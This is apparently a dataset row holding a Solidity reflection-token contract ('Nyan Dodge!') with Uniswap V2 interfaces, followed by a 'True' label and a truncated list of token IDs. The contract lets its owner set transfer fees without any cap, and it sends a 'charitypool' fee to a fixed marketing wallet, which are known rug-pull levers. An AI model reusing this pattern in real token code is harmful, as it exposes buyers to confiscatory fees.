pragma solidity >=0.6.2;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
pragma solidity >=0.4.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity >=0.4.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity >=0.4.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.6.12;
contract NYANDODGE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private _tCharitypoolTotal;
string private _name = "Nyan Dodge!";
string private _symbol = "RYAN";
uint8 private _decimals = 9;
uint256 public _taxFee = 3;
uint256 private _previousTaxFee = _taxFee;
uint256 public _burnFee = 0;
uint256 private _previousBurnFee = _burnFee;
uint256 public _charitypoolFee = 3;
uint256 private _previousCharitypoolFee = _charitypoolFee;
uint256 public _maxTxAmount = 1000000 * 10**6 * 10**9;
uint256 private minimumTokensBeforeSwap = 100 * 10**6 * 10**9;
address payable public marketingpoolAddress = 0xa97Cf9Eb83C431103F985BBFCAF2EC47D3873192; // Marketing Wallet
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
event RewardLiquidityProviders(uint256 tokenAmount);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () public {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function totalCharitypoolETH() public view returns (uint256) {
// ETH has 18 decimals!
return _tCharitypoolTotal;
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return minimumTokensBeforeSwap;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (
overMinimumTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(contractTokenBalance);
}
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
swapTokensForEth(contractTokenBalance);
_tCharitypoolTotal = _tCharitypoolTotal.add(address(this).balance);
TransferCharitypoolETH(marketingpoolAddress, address(this).balance);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tBurn = calculateBurnFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn).sub(tLiquidity);
return (tTransferAmount, tFee, tBurn, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_charitypoolFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _burnFee == 0 && _charitypoolFee == 0) return;
_previousTaxFee = _taxFee;
_previousBurnFee = _burnFee;
_previousCharitypoolFee = _charitypoolFee;
_taxFee = 0;
_burnFee = 0;
_charitypoolFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_burnFee = _previousBurnFee;
_charitypoolFee = _previousCharitypoolFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setBurnFeePercent(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setCharitypoolFeePercent(uint256 CharitypoolFee) external onlyOwner() {
_charitypoolFee = CharitypoolFee;
}
function setMaxTxPercent(uint256 maxTxPercent, uint256 maxTxDecimals) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**(uint256(maxTxDecimals) + 2)
);
}
function setNumTokensSellToAddToLiquidity(uint256 _minimumTokensBeforeSwap) external onlyOwner() {
minimumTokensBeforeSwap = _minimumTokensBeforeSwap;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function TransferCharitypoolETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5757,
1011,
2484,
1008,
1013,
1013,
1008,
1008,
1008,
4575,
1010,
1996,
6396,
28574,
11818,
1008,
23921,
1024,
6396,
28574,
11818,
1008,
10474,
1024,
1030,
4575,
3527,
11818,
4402,
2063,
1008,
4037,
1024,
16770,
1024,
1013,
1013,
6396,
2319,
1011,
3899,
2063,
1012,
4012,
1013,
1008,
2748,
2009,
1005,
1055,
2033,
4575,
999,
1045,
1005,
1049,
1996,
6396,
2319,
11898,
999,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
